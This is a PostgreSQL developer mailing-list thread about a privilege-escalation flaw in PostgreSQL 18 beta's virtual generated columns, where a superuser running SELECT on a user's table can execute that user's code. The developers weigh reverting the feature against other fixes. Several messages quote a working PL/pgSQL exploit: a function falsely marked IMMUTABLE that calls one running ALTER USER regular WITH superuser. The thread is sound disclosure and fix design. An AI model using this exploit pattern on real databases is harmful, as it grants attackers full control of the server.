pg18: Virtual generated columns are not (yet) safe when superuser selects from them

On Fri, May 23, 2025 at 4:43 PM Feike Steenbergen
<feikesteenbergen@gmail.com> wrote:

Hi,

While evaluating the PostgreSQL 18 beta, I had a thought experiment where I
thought it might be possible to use the new virtual generated columns to gain
superuser privileges for a regular user.

Attached is a sample exploit, that achieves this, key components:

hi.

excerpt from exploit_generated.sql
-----
CREATE FUNCTION exploit_generated.exploit_inner(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
IF (select rolsuper from pg_catalog.pg_roles where
rolname=current_user) THEN
ALTER USER regular WITH superuser;
END IF;
RETURN i::text;
END;
$fun$
VOLATILE;

CREATE FUNCTION exploit_generated.exploit(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
RETURN exploit_generated.exploit_inner(i);
END;
$fun$
IMMUTABLE;

-----

when you mark it as IMMUTABLE, postgres think it's IMMUTABLE, but in this case
exploit_generated.exploit(i int) clearly is not an IMMUTABLE function.

Only IMMUTABLE functions are allowed in generated expressions,
but you can still misuse it by wrongly tagging the function as IMMUTABLE.

for example:
CREATE OR REPLACE FUNCTION exploit1(i int) RETURNS int LANGUAGE SQL IMMUTABLE
BEGIN ATOMIC
SELECT random(min=>1::int, max=>10);
END;
create table t1(a int, b int generated always as (exploit1(1)));

but
create table t3(a int, b int generated always as (random(min=>1::int,
max=>10)));
it will error out
ERROR: generation expression is not immutable

On Fri, 23 May 2025 at 14:48, jian he <jian.universality@gmail.com> wrote:

when you mark it as IMMUTABLE, postgres think it's IMMUTABLE, but in this

case

exploit_generated.exploit(i int) clearly is not an IMMUTABLE function.

Only IMMUTABLE functions are allowed in generated expressions,
but you can still misuse it by wrongly tagging the function as IMMUTABLE.

Yeah, I'm quite aware that the pattern used in the example isn't what one
*should* be doing. However, the problem with the exploit that it *could* be
done this way.

The loophole is this:

- the generated virtual column can use a user-defined function
- when running SELECT against that column by a superuser
the function is called within the context of a superuser
- this in turn allows the regular user to run any code within
the context of superuser

On Sat, May 24, 2025 at 2:39 PM Feike Steenbergen
<feikesteenbergen@gmail.com> wrote:

The loophole is this:

- the generated virtual column can use a user-defined function
- when running SELECT against that column by a superuser
the function is called within the context of a superuser
- this in turn allows the regular user to run any code within
the context of superuser

sorry, I am not fully sure what this means.
a minimum sql reproducer would be great.

you may check virtual generated column function privilege regress tests on
https://git.postgresql.org/cgit/postgresql.git/tree/src/test/regress/sql/generated_virtual.sql#n284
(from line 284 to line 303)

also see [1]https://www.postgresql.org/docs/current/ddl-priv.html#PRIVILEGES-SUMMARY-TABLE.
PostgreSQL grants EXECUTE privilege for functions and procedures to
PUBLIC *by default* when the objects are created.

[1]: https://www.postgresql.org/docs/current/ddl-priv.html#PRIVILEGES-SUMMARY-TABLE

On Saturday, May 24, 2025, jian he <jian.universality@gmail.com> wrote:

On Sat, May 24, 2025 at 2:39 PM Feike Steenbergen
<feikesteenbergen@gmail.com> wrote:

The loophole is this:

- the generated virtual column can use a user-defined function
- when running SELECT against that column by a superuser
the function is called within the context of a superuser
- this in turn allows the regular user to run any code within
the context of superuser

sorry, I am not fully sure what this means.
a minimum sql reproducer would be great.

This is same complaint being made against “security invoker” triggers
existing/being the default. Or the general risk in higher privileged users
running security invoker functions written by lesser privileged users.

The features conform to our existing security model design. Discussions
are happening as pertains to that model and the OP should chime in there to
contribute to the overall position of the project and not relegate the
complaint to any one particular feature.

David J.

On Sat, 24 May 2025 at 15:43, jian he <jian.universality@gmail.com> wrote:

sorry, I am not fully sure what this means. a minimum sql reproducer

would be

great.

The initial email contains a fully self-contained example of a regular user
becoming a superuser. The only thing the superuser had to do was

SELECT * FROM untrusted_table

you may check virtual generated column function privilege regress tests on

https://git.postgresql.org/cgit/postgresql.git/tree/src/test/regress/sql/generated_virtual.sql#n284

(from line 284 to line 303)

These regress tests don't seem to cover the case where a superuser selects
from
the virtual generated column

On Sat, 24 May 2025 at 16:00, David G. Johnston <david.g.johnston@gmail.com>
wrote:

This is same complaint being made against “security invoker” triggers
existing/being the default. Or the general risk in higher privileged

users

running security invoker functions written by lesser privileged users.

It falls in the same category, however, previously, triggers or security
invoker
functions would not be called when running

SELECT * FROM untrusted_table

However, with the generated virtual columns introduced, a superuser should
*never* run `SELECT *` against a user table, as that may trigger executions
of
these Security Invoker functions.

For PostgreSQL 17 this is true:

- As a superuser, executing a security invoker function is exploitable
- therefore, selecting from a view is exploitable
- therefore, doing DML on a table is exploitable

PostreSQL 18 adds to this:

- therefore, selecting from a table is exploitable

I think adding more surface area for exploits should be avoided, especially
AFAICT in the discussion before, there is a precedent to fixing this style
of
problem:

On Fri, 16 May 2025 at 19:00, Noah Misch <noah@leadboat.com> wrote:

SELECT is fairly unsafe. We ended up with commit 66e9444 (CVE-2024-7348)

to

make secure use of SELECT feasible in released branches. It sounds like

this

v18 feature may need changes like commit 66e9444. In other words, virtual
generated columns make a table into a hybrid of view and table, so

anything

odd that we've needed to do to views and foreign tables may apply to

tables

containing virtual generated columns.

Feike

On Mon, May 26, 2025 at 4:56 PM Feike Steenbergen
<feikesteenbergen@gmail.com> wrote:

On Sat, 24 May 2025 at 15:43, jian he <jian.universality@gmail.com> wrote:

sorry, I am not fully sure what this means. a minimum sql reproducer would be
great.

The initial email contains a fully self-contained example of a regular user
becoming a superuser. The only thing the superuser had to do was

SELECT * FROM untrusted_table

you may check virtual generated column function privilege regress tests on
https://git.postgresql.org/cgit/postgresql.git/tree/src/test/regress/sql/generated_virtual.sql#n284
(from line 284 to line 303)

These regress tests don't seem to cover the case where a superuser selects from
the virtual generated column

On Sat, 24 May 2025 at 16:00, David G. Johnston <david.g.johnston@gmail.com>
wrote:

This is same complaint being made against “security invoker” triggers
existing/being the default. Or the general risk in higher privileged users
running security invoker functions written by lesser privileged users.

It falls in the same category, however, previously, triggers or security invoker
functions would not be called when running

SELECT * FROM untrusted_table

However, with the generated virtual columns introduced, a superuser should
*never* run `SELECT *` against a user table, as that may trigger executions of
these Security Invoker functions.

For PostgreSQL 17 this is true:

- As a superuser, executing a security invoker function is exploitable
- therefore, selecting from a view is exploitable
- therefore, doing DML on a table is exploitable

PostreSQL 18 adds to this:

- therefore, selecting from a table is exploitable

I think adding more surface area for exploits should be avoided, especially
AFAICT in the discussion before, there is a precedent to fixing this style of
problem:

I think I understand what you mean.
but still that is not related to the generated column.

calling exploit_generated.exploit by normal user or superuser the
effects are different,
that by definition is not IMMUTABLE.

you can simply do the following:
set role regular;
select exploit_generated.exploit(1);
SELECT rolname, rolsuper from pg_roles WHERE rolname = 'regular';
set role postgres;
select exploit_generated.exploit(1);
SELECT rolname, rolsuper from pg_roles WHERE rolname = 'regular';

On Mon, 26 May 2025 at 16:17, jian he <jian.universality@gmail.com> wrote:

calling exploit_generated.exploit by normal user or superuser the
effects are different,
that by definition is not IMMUTABLE.

Yeah, i know this is *wrong* usage of IMMUTABLE, the point is that a rogue
regular user *can* use this pattern to become superuser.

I think I understand what you mean.
but still that is not related to the generated column.

It is, as before this feature, it was safe to, as a superuser:

SELECT * FROM untrusted_table

However, as of now, in pg18 this may lead to any code defined by a
regular user to run in the context of a superuser.

I'm aware that this already exists (pg17) for:

- superuser selecting from a user defined view
- superuser executing a user defined function
- superuser inserting into a user defined table

However, this is *new* behavior, increasing the possibility of exploits.

Certain db clients (I checked DBeaver and pgAdmin4) allow a user to
peek into the table details using their GUI. When connected as a superuser,
that would trigger this exploit.

As a sidenote: It may be useful for the pgAdmin4/DBeaver and other clients
to somehow block this behavior when connected as a superuser anyway?

On Mon, May 26, 2025 at 10:52 AM Feike Steenbergen
<feikesteenbergen@gmail.com> wrote:

On Mon, 26 May 2025 at 16:17, jian he <jian.universality@gmail.com> wrote:

calling exploit_generated.exploit by normal user or superuser the
effects are different,
that by definition is not IMMUTABLE.

Yeah, i know this is *wrong* usage of IMMUTABLE, the point is that a rogue
regular user *can* use this pattern to become superuser.

Before this discussion goes further in the wrong direction, I'd like
to say thanks to Feike for catching this issue before we ship the
feature. I'm not quite sure why some people are arguing with the
conclusion that there is a problem here: not only is there an exploit
script included in the original message, but there's also an included,
quoted discussion with the security team where Noah agrees that a
problem exists and that something will need to be done about it.

David is correct to point out that there are already a lot of ways
that a superuser can give away their privileges accidentally. In
particular, as Feike says, if a superuser performs DML on a
non-superuser owned table, it can fire a SECURITY INVOKER trigger
which, because the superuser is the invoker, will run as superuser and
can do anything, including confer superuser privileges on the author
of the trigger code. That is a pretty deplorable situation and we
should really, really do something about it, but we technically don't
classify it as a security vulnerability: we say that's user error on
the part of the superuser. But so far - apart from this feature - we
have managed to avoid making it categorically unsafe for the superuser
to run "SELECT * FROM table", which is a pretty good thing, because if
the superuser couldn't do at least that much, that would also imply,
for example, that there's no way to run a pg_dump without letting any
user on the system obtain superuser privileges. Point being: this
feature will need to be fixed in some way that avoids further
expanding the set of things that a superuser must not ever do for fear
of giving away their privileges accidentally, or else it will need to
be reverted. What we should be discussing here is whether to revert it
and, if not, how to fix it.

In making that decision, it might be a good idea to consider what else
is potentially problematic about this feature. I know of one other
issue, related to planning speed:

/messages/by-id/1514756.1747925490@sss.pgh.pa.us

In that email, Tom suggests that the appropriate fix might be to move
expansion to the rewriter, but I think that is probably not the right
solution, because 1e4351af329f2949c679a215f63c51d663ecd715 moved it
from the rewriter to the planner to fix various problems discussed on
the thread. But we should decide whether the resulting situation is
acceptable to ship.

To be clear, I like this feature in concept and I don't want it to
crash and burn. But I even more don't want to ship something and then
have a bunch of problems later that we can't really do anything about.

--
Robert Haas
EDB: http://www.enterprisedb.com

On Thu, May 29, 2025 at 6:43 AM Robert Haas <robertmhaas@gmail.com> wrote:

Point being: this
feature will need to be fixed in some way that avoids further
expanding the set of things that a superuser must not ever do for fear
of giving away their privileges accidentally, or else it will need to
be reverted. What we should be discussing here is whether to revert it
and, if not, how to fix it.

Agreed. The fact we've extended now into the Select command is
unacceptably enlarging the risk surface.

Just to make sure we are on the same page as to who IS supposed to be
"current_user" within these functions - it should be the table owner, right?

We still need to obey "security definer" directives, yes?

This looks like a view...so can we quickly leverage whatever infrastructure
is used to ensure views are evaluated under the view owner to ensure these
generated expressions are evaluated as the table owner?

We are OK with the stored version existing as-is since re-evaluation
doesn't happen on select; and both these and triggers already accept that
we presently do not consider DML (aside from COPY which seems secured, at
least within pg_dump/pg_restore, already) to be something we are going to
help a superuser protect themself from performing safely?

David J.

"David G. Johnston" <david.g.johnston@gmail.com> writes:

Just to make sure we are on the same page as to who IS supposed to be
"current_user" within these functions - it should be the table owner, right?

If we could make that happen (ie, run the generated-column expressions
as the table owner), it would likely be a sufficient fix for the
security hazard. But we do not have infrastructure for that today.

This looks like a view...so can we quickly leverage whatever infrastructure
is used to ensure views are evaluated under the view owner to ensure these
generated expressions are evaluated as the table owner?

There is no such infrastructure. Views' table accesses are checked as
the view owner, but we don't do anything magic about function calls
within them (which is why selecting from a view carries risk).

You could imagine that every expression taken from a view or virtual
column gets wrapped in a new expression node type RunAsUser, and
I think that that would not be terribly hard to implement.
Unfortunately, it's probably also catastrophic for performance.
It's not even that RunAsUser() in itself would add tons of cycles,
it's that the planner could not treat foo() as being equal to
RunAsUser(foo()), which would prevent all sorts of optimizations.

Maybe we can make that work acceptably, and I would be really happy
if we could. But for sure it's in the realm of "research project"
not "something we can fix post-beta1".

Perhaps a compromise is to invent RunAsUser but only apply it to
virtual columns for now, leaving the view case as a research
project. Then we aren't destroying the performance of any
existing queries.

regards, tom lane

On Thu, 29 May 2025 at 15:43, Robert Haas <robertmhaas@gmail.com> wrote:

that would also imply,
for example, that there's no way to run a pg_dump without letting any
user on the system obtain superuser privileges.

I checked, pg_dump seems safe, it doesn't extract the values, even when
using --column-inserts.

pg_restore may have issues though, as it will run these functions
for GENERATED STORED columns?

Feike Steenbergen <feikesteenbergen@gmail.com> writes:

pg_restore may have issues though, as it will run these functions
for GENERATED STORED columns?

pg_restore is already fairly exposed, as it will run tables' CHECK
constraints, index expressions, etc. I don't think GENERATED STORED
makes that picture much worse.

As Robert said upthread, it would be nice to make all this more
secure. But it'd presumably involve user-visible semantics changes
along with the performance worries I mentioned. It's a dauntingly
large task...

regards, tom lane

On Thu, 29 May 2025 at 15:44, Robert Haas <robertmhaas@gmail.com> wrote:

But so far - apart from this feature - we
have managed to avoid making it categorically unsafe for the superuser
to run "SELECT * FROM table"

With CREATE RULE [0]https://www.postgresql.org/docs/18/sql-createrule.html, a table owner can redefine what happens during
e.g. SELECT * FROM table. This also includes outputting alternative
data sources, or e.g. calling a user-defined SECURITY INVOKER
function.

PG18 still seems to have support for CREATE RULE, so virtual generated
columns don't create a completely new security issue (blind SELECT *
FROM user_defined_table was already insecure) but rather a new threat
vector to this privilege escalation.

Kind regards,

Matthias van de Meent
Neon (https://neon.tech)

[0]: https://www.postgresql.org/docs/18/sql-createrule.html

Matthias van de Meent <boekewurm+postgres@gmail.com> writes:

On Thu, 29 May 2025 at 15:44, Robert Haas <robertmhaas@gmail.com> wrote:

But so far - apart from this feature - we
have managed to avoid making it categorically unsafe for the superuser
to run "SELECT * FROM table"

With CREATE RULE [0], a table owner can redefine what happens during
e.g. SELECT * FROM table.

That's a view, not a table. The distinction is critical in pg_dump,
and we also have restrict_nonsystem_relation_kind which can be used
to prevent accidental reads from views. It would definitely be nice
to have a less hacky answer. But making ordinary tables unsafe to
read absolutely is a quantum jump in insecurity; claiming otherwise
is not helpful.

regards, tom lane

On Thu, 29 May 2025 at 20:30, Tom Lane <tgl@sss.pgh.pa.us> wrote:

Matthias van de Meent <boekewurm+postgres@gmail.com> writes:

On Thu, 29 May 2025 at 15:44, Robert Haas <robertmhaas@gmail.com> wrote:

But so far - apart from this feature - we
have managed to avoid making it categorically unsafe for the superuser
to run "SELECT * FROM table"

With CREATE RULE [0], a table owner can redefine what happens during
e.g. SELECT * FROM table.

That's a view, not a table.

Ah, it's hidden deeper into the docs than I'd first read, but indeed
ON SELECT is only allowed for views. The syntax itself nor the 'event'
description in the parameters detail this restriction, which is where
I looked.

Sorry for the noise, and thank you for correcting me.

Kind regards,

Matthias van de Meent
Neon (https://neon.tech)

On Thu, May 29, 2025 at 02:15:22PM -0400, Tom Lane wrote:

Feike Steenbergen <feikesteenbergen@gmail.com> writes:

pg_restore may have issues though, as it will run these functions
for GENERATED STORED columns?

pg_restore is already fairly exposed, as it will run tables' CHECK
constraints, index expressions, etc. I don't think GENERATED STORED
makes that picture much worse.

As Robert said upthread, it would be nice to make all this more
secure. But it'd presumably involve user-visible semantics changes
along with the performance worries I mentioned. It's a dauntingly
large task...

I spent some time thinking about the above email. First, this is on the
public hackers list, so it explains known security deficiencies. Do we
document these somewhere? I don't see them in the pg_dump or pg_restore
manual pages.

Second, I agree adding a SELECT security deficiency is certainly worse,
but how are we expecting people to restore databases securely with these
known deficiencies?

Effectively, what good is our security system if it is just delaying
someone from getting superuser privileges in case of a dump/restore?

(Yeah, that's me, Mr. Sunshine. ;-) )

--
Bruce Momjian <bruce@momjian.us> https://momjian.us
EDB https://enterprisedb.com

Do not let urgent matters crowd out time for investment in the future.

On Thu, 2025-05-29 at 11:12 -0400, Tom Lane wrote:

Perhaps a compromise is to invent RunAsUser but only apply it to
virtual columns for now, leaving the view case as a research
project.  Then we aren't destroying the performance of any
existing queries.

Could we instead check that the expression is safe at the time the
generated column is created? For the purposes of this thread, "safe"
means "safe for the one running the SELECT".

If the expression only involves functions and operators that are owned
by the superuser (and/or in pg_catalog), or SECURITY DEFINER, then I
think it's safe. It's not released yet, so we can start out more
conservative (as long as it works for most use cases) and then make it
a more precise check in the future.

There are some details to work out. For instance, what happens if a
function starts out as SECURITY DEFINER and then someone changes it
later?

Regards,
Jeff Davis

Jeff Davis <pgsql@j-davis.com> writes:

On Thu, 2025-05-29 at 11:12 -0400, Tom Lane wrote:

Perhaps a compromise is to invent RunAsUser but only apply it to
virtual columns for now, leaving the view case as a research
project. Then we aren't destroying the performance of any
existing queries.

Could we instead check that the expression is safe at the time the
generated column is created?

Feels uncomfortably close to solving the halting problem.
Maybe we can make a conservative approximation that's good
enough to be useful, but I'm not certain.

There are some details to work out. For instance, what happens if a
function starts out as SECURITY DEFINER and then someone changes it
later?

Yeah, TOCTOU loopholes would be a huge danger with anything
user-defined. I'd kind of want to restrict it to built-in,
immutable functions (or maybe stable is enough, not sure).

We could reduce the TOCTOU window by making the decision as to
whether to wrap in RunAsUser at query rewrite/plan time instead
of table creation time. But that would not close the window,
so I'm not sure how much it helps.

In any case, this doesn't feel like something to be defining and
implementing post-beta1. Even if it were not security-critical,
the amount of complication involved is well past our standards
for what can go in post-feature-freeze.

I'm leaning more and more to the position that we ought to revert
virtual generated columns for v18 and give ourselves breathing
room to design a proper fix for the security hazard.

regards, tom lane

On Mon, 2025-06-02 at 21:19 -0400, Tom Lane wrote:

Maybe we can make a conservative approximation that's good
enough to be useful, but I'm not certain.

Right. If the alternative is reverting the feature, the idea would be
to save it for at least some common use cases where the expression is
obviously safe.

I'm leaning more and more to the position that we ought to revert
virtual generated columns for v18 and give ourselves breathing
room to design a proper fix for the security hazard.

Unfortunate, but I think I agree.

Even if we do come up with a useful definition of "safe", it would take
a while to sort through the use cases to see how much of the feature is
still usable within that definition.

However, I do think it's worth exploring some definition of a "safe"
expression in the v19 cycle. There's significant performance overhead
to wrapping the function as is done for SECURITY DEFINER, so if the
function is obviously safe, it would be nice to avoid that. And it
would be another tool to help us mitigate the various related problems
we have with selecting from views, etc.

Regards,
Jeff Davis

On Tue, Jun 3, 2025 at 9:19 AM Tom Lane <tgl@sss.pgh.pa.us> wrote:

In any case, this doesn't feel like something to be defining and
implementing post-beta1. Even if it were not security-critical,
the amount of complication involved is well past our standards
for what can go in post-feature-freeze.

I'm leaning more and more to the position that we ought to revert
virtual generated columns for v18 and give ourselves breathing
room to design a proper fix for the security hazard.

Do we consider INSERT associated with user defined function a security bug? for
example, the following, INSERT with a check constraint.

CREATE OR REPLACE FUNCTION exploit_generated.exploit_inner(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
IF (select rolsuper from pg_catalog.pg_roles where
rolname=current_user) THEN
ALTER USER regular WITH superuser;
END IF;
RETURN i::text;
END;
$fun$
VOLATILE;

CREATE OR REPLACE FUNCTION exploit_generated.exploit(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
RETURN exploit_generated.exploit_inner(i);
END;
$fun$
IMMUTABLE;

CREATE TABLE exploit_generated.t (i int, j text, constraint nn
check(exploit_generated.exploit(i) is not null));
INSERT INTO exploit_generated.t VALUES (1, '1');

If so, then it's a very old issue...

On Mon, 2 Jun 2025 at 22:52, jian he <jian.universality@gmail.com> wrote:

Do we consider INSERT associated with user defined function a security

bug? for
example, the following, INSERT with a check constraint.

[....]

If so, then it's a very old issue...

A very old issue for INSERT/UPDATE/DELETE, but until this patch not an
issue for SELECT from a table (although if I understand correctly earlier
discussion SELECT from a view can already be a problem).

That being said I would like to see it corrected everywhere. My fix would
be for check constraints, triggers, and view definitions to run as the
owner of the object in question (constraint, trigger, or view or
materialized view), essentially using the same facility as used to run
security definer functions. Then, as an optimization only, skip actually
doing the security definer stuff (which I understand to be slow) when it
can be proven by the planner to be safe to do so (i.e., no difference in
result).

Of course in just a few sentences I proposed a research project that could
probably generate dozens of PhD theses, and I'm not volunteering to do any
of this at least not in the near future. But I hope I made clear what is
different about this proposal from the existing situation.

Isaac Morland <isaac.morland@gmail.com> writes:

On Mon, 2 Jun 2025 at 22:52, jian he <jian.universality@gmail.com> wrote:
Do we consider INSERT associated with user defined function a security

bug?

A very old issue for INSERT/UPDATE/DELETE, but until this patch not an
issue for SELECT from a table (although if I understand correctly earlier
discussion SELECT from a view can already be a problem).

Precisely.

That being said I would like to see it corrected everywhere.

Yeah, one approach we could take here is to try to move the goalposts
for this whole topic, understanding that that will mean incompatible
changes as well as some performance loss. I'm not sure how many users
would be happy to take that tradeoff, but some would. Maybe two
different operating modes would make it an easier sell?

My fix would
be for check constraints, triggers, and view definitions to run as the
owner of the object in question (constraint, trigger, or view or
materialized view), essentially using the same facility as used to run
security definer functions. Then, as an optimization only, skip actually
doing the security definer stuff (which I understand to be slow) when it
can be proven by the planner to be safe to do so (i.e., no difference in
result).

I am interested to know how you think the planner could prove that.

regards, tom lane

On Mon, Jun 2, 2025 at 11:30 PM Tom Lane <tgl@sss.pgh.pa.us> wrote:

That being said I would like to see it corrected everywhere.

Yeah, one approach we could take here is to try to move the goalposts
for this whole topic, understanding that that will mean incompatible
changes as well as some performance loss. I'm not sure how many users
would be happy to take that tradeoff, but some would. Maybe two
different operating modes would make it an easier sell?

I still believe that the answer here is some kind of function trust mechanism:

/messages/by-id/20180809190443.GA14011@momjian.us
/messages/by-id/CA+TgmoaHpmz9-7ybB17B2qpDoqsi7=OWigc-3VBctb6B_x8bKA@mail.gmail.com
(pretty sure there's also a proposal from Noah, can't find the most
current version of it at the moment)

The problem with just up and changing the behavior is that it will
probably break some use cases (e.g. an ON INSERT/UPDATE trigger that
sets some column to current_user) and, worse still, it probably will
just result in a bunch of security holes in the opposite direction,
where the person inserting into the table is trying to hack the
account of the table owner rather than the other way around. Jeff
Davis has mentioned this hazard before: any time we switch user IDs to
execute code, there are possible attacks in BOTH directions. I haven't
seen a proposal other than function trust (in one of several proposed
variations) that can close all of those holes.

--
Robert Haas
EDB: http://www.enterprisedb.com

On Mon, 2 Jun 2025 at 23:30, Tom Lane <tgl@sss.pgh.pa.us> wrote:

Isaac Morland <isaac.morland@gmail.com> writes:

My fix would

be for check constraints, triggers, and view definitions to run as the
owner of the object in question (constraint, trigger, or view or
materialized view), essentially using the same facility as used to run
security definer functions. Then, as an optimization only, skip actually
doing the security definer stuff (which I understand to be slow) when it
can be proven by the planner to be safe to do so (i.e., no difference in
result).

I am interested to know how you think the planner could prove that.

The same general way it establishes that any other transformation is OK: it
recognizes patterns that are known to allow the application of an
optimization technique. Inevitably, not just in practice but even in theory
due to well-known basic results in the theory of computability, there will
be situations where optimizations could be applied but which will not be
recognized by the planner.

So for example maybe when a check constraint is defined the system could
check to see if it consists entirely of calls to stable functions provided
with the system and if so marks it as safe to run as the effective user
rather than as the constraint owner. I foresee all sorts of complications
including unforeseen ones but it should be clear that I not proposing to
violate any theorems of Gödel.

On Tue, Jun 3, 2025 at 08:58:58AM -0400, Robert Haas wrote:

On Mon, Jun 2, 2025 at 11:30 PM Tom Lane <tgl@sss.pgh.pa.us> wrote:

That being said I would like to see it corrected everywhere.

Yeah, one approach we could take here is to try to move the goalposts
for this whole topic, understanding that that will mean incompatible
changes as well as some performance loss. I'm not sure how many users
would be happy to take that tradeoff, but some would. Maybe two
different operating modes would make it an easier sell?

I still believe that the answer here is some kind of function trust mechanism:

/messages/by-id/20180809190443.GA14011@momjian.us
/messages/by-id/CA+TgmoaHpmz9-7ybB17B2qpDoqsi7=OWigc-3VBctb6B_x8bKA@mail.gmail.com
(pretty sure there's also a proposal from Noah, can't find the most
current version of it at the moment)

The problem with just up and changing the behavior is that it will
probably break some use cases (e.g. an ON INSERT/UPDATE trigger that
sets some column to current_user) and, worse still, it probably will
just result in a bunch of security holes in the opposite direction,
where the person inserting into the table is trying to hack the
account of the table owner rather than the other way around. Jeff
Davis has mentioned this hazard before: any time we switch user IDs to
execute code, there are possible attacks in BOTH directions. I haven't
seen a proposal other than function trust (in one of several proposed
variations) that can close all of those holes.

I think the two cases are slightly different. Our existing system has
users running triggers on tables that don't own as themselves, so the
table owner has full control over what is in the triggers. If we were
to switch it so users run triggers as the table owner, the users can't
change the triggers --- they can only try to break the trigger by
changing the search path or something.

--
Bruce Momjian <bruce@momjian.us> https://momjian.us
EDB https://enterprisedb.com

Do not let urgent matters crowd out time for investment in the future.

On Tue, Jun 3, 2025 at 10:11 AM Bruce Momjian <bruce@momjian.us> wrote:

I think the two cases are slightly different. Our existing system has
users running triggers on tables that don't own as themselves, so the
table owner has full control over what is in the triggers. If we were
to switch it so users run triggers as the table owner, the users can't
change the triggers --- they can only try to break the trigger by
changing the search path or something.

That's true, but search_path manipulation is still enough to cause
quite a few problems. Also, changing the run-as user for table-owner
supplied code will *unavoidably* break lots of applications. A
function trust mechanism doesn't necessarily have to do that; a
particular installation that is unbothered by the security exposure
can simply have all users trust all other users, and nobody is any
worse off than today. You can also potentially use function trust and
not experience any breakage because you don't have any actually
problematic access patterns. So I would argue that changing the run-as
user is bound to improve security less and have more breakage. We
could still choose to adopt that solution, of course, say if we think
it's sufficiently easier to implement. But considering that Tom and
Noah have both prototyped function trust systems, it seems highly
premature to conclude that there's no way forward along those lines.

--
Robert Haas
EDB: http://www.enterprisedb.com

On Tue, 2025-06-03 at 11:27 -0400, Robert Haas wrote:

That's true, but search_path manipulation is still enough to cause
quite a few problems.

+1. The only defense is to declare the function with "SET search_path",
but until recently, that was a major performance penalty for cheap
functions. And even though it's better now, adding that to all function
declarations is a lot of boilerplate we don't have evidence that it's
standard procedure for many users yet.

A
function trust mechanism doesn't necessarily have to do that; a
particular installation that is unbothered by the security exposure
can simply have all users trust all other users, and nobody is any
worse off than today.

True, it avoids breakage, and for that reason has a lot of merit. But I
see a couple problems along that route, as well:

1. The trust mechanism means, as far as I can tell, absolute trust in
the user that wrote the function (if they violate the trust, they can
take over your role). That doesn't seem to be in the spirit of
GRANT/REVOKE, which are much more fine-grained.

2. It's another layer and I think we'd struggle to document how they
fit together, and users would struggle to get it right. If you
absolutely trust someone, should you add them to your role or trust
them to write functions, or both?

But I am open to further discussion. A simpler version that just says
"I don't trust anyone, don't execute any non-superuser-owned code"
would be very useful at a practical level, e.g. for pg_dump.

Regards,
Jeff Davis

On 23.05.25 10:43, Feike Steenbergen wrote:

Attached is a sample exploit, that achieves this, key components:

- the GENERATED column uses a user defined immutable function
- this immutable function cannot ALTER ROLE (needs volatile)
- therefore this immutable function calls a volatile function
- the volatile function can contain any security exploit

I propose to address this by not allowing the use of user-defined
functions in generation expressions for now. The attached patch
implements this. This assumes that all built-in functions are
trustworthy, for this purpose, which seems likely true and likely desirable.

I think the feature is still useful like that, and this approach
provides a path to add new functionality in the future that grows this
set of allowed functions, for example by allowing some configurable set
of "trusted" functions or whatever.

čt 5. 6. 2025 v 12:49 odesílatel Peter Eisentraut <peter@eisentraut.org>
napsal:

On 23.05.25 10:43, Feike Steenbergen wrote:

Attached is a sample exploit, that achieves this, key components:

- the GENERATED column uses a user defined immutable function
- this immutable function cannot ALTER ROLE (needs volatile)
- therefore this immutable function calls a volatile function
- the volatile function can contain any security exploit

I propose to address this by not allowing the use of user-defined
functions in generation expressions for now. The attached patch
implements this. This assumes that all built-in functions are
trustworthy, for this purpose, which seems likely true and likely
desirable.

I think the feature is still useful like that, and this approach
provides a path to add new functionality in the future that grows this
set of allowed functions, for example by allowing some configurable set
of "trusted" functions or whatever.

+1

Regards

Pavel

On Thu, 5 Jun 2025 at 12:49, Peter Eisentraut <peter@eisentraut.org> wrote:

I propose to address this by not allowing the use of user-defined
functions in generation expressions for now. The attached patch
implements this. This assumes that all built-in functions are
trustworthy, for this purpose, which seems likely true and likely

desirable.

I think the feature is still useful like that, and this approach
provides a path to add new functionality in the future that grows this
set of allowed functions, for example by allowing some configurable set
of "trusted" functions or whatever.

+1

I really like this feature and it would be great if it gets into
pg18, even with some restrictions, thank you

On Thu, Jun 5, 2025 at 6:49 AM Peter Eisentraut <peter@eisentraut.org> wrote:

I propose to address this by not allowing the use of user-defined
functions in generation expressions for now. The attached patch
implements this. This assumes that all built-in functions are
trustworthy, for this purpose, which seems likely true and likely desirable.

I think the feature is still useful like that, and this approach
provides a path to add new functionality in the future that grows this
set of allowed functions, for example by allowing some configurable set
of "trusted" functions or whatever.

I don't think this is sufficient to fix the problem. We have built-in
functions that are unsafe. These include LO functions like loread(),
lowrite(), lo_unlink(); functions that change session state like
set_config() and setseed(); functions that allow arbitrary query
execution like query_to_xml(); slot-manipulation functions like
pg_drop_replication_slot(); and maybe other things.

Even if it worked, I think it's an unappealing solution -- we've
worked really hard at extensibility and making decisions based on
object properties rather than what's built-in and what's provided by a
user or an extension. But I also don't think it works.

--
Robert Haas
EDB: http://www.enterprisedb.com

On Thu, Jun 5, 2025 at 10:39 PM Robert Haas <robertmhaas@gmail.com> wrote:

On Thu, Jun 5, 2025 at 6:49 AM Peter Eisentraut <peter@eisentraut.org> wrote:

I propose to address this by not allowing the use of user-defined
functions in generation expressions for now. The attached patch
implements this. This assumes that all built-in functions are
trustworthy, for this purpose, which seems likely true and likely desirable.

I think the feature is still useful like that, and this approach
provides a path to add new functionality in the future that grows this
set of allowed functions, for example by allowing some configurable set
of "trusted" functions or whatever.

I don't think this is sufficient to fix the problem. We have built-in
functions that are unsafe. These include LO functions like loread(),
lowrite(), lo_unlink(); functions that change session state like
set_config() and setseed(); functions that allow arbitrary query
execution like query_to_xml(); slot-manipulation functions like
pg_drop_replication_slot(); and maybe other things.

Even if it worked, I think it's an unappealing solution -- we've
worked really hard at extensibility and making decisions based on
object properties rather than what's built-in and what's provided by a
user or an extension. But I also don't think it works.

I think it will work.
because we already require the generated column expression to be
immutable functions.

The above functions you mentioned are all not immutable.

Re: Robert Haas

I don't think this is sufficient to fix the problem. We have built-in
functions that are unsafe. These include LO functions like loread(),
lowrite(), lo_unlink(); functions that change session state like
set_config() and setseed(); functions that allow arbitrary query
execution like query_to_xml(); slot-manipulation functions like
pg_drop_replication_slot(); and maybe other things.

That was my thought as well - if user defined functions are
disallowed, just put the exploit code into the expression.

Turns out that doesn't work:

=# create table pwn (id int, pwn boolean generated always as (pg_reload_conf()));
ERROR: 42P17: generation expression is not immutable

So the question is, are all built-in *immutable* functions safe?

Extending the idea, perhaps the check could be moved to run-time and
recursively check that only immutable functions are called, including
user-defined immutable functions?

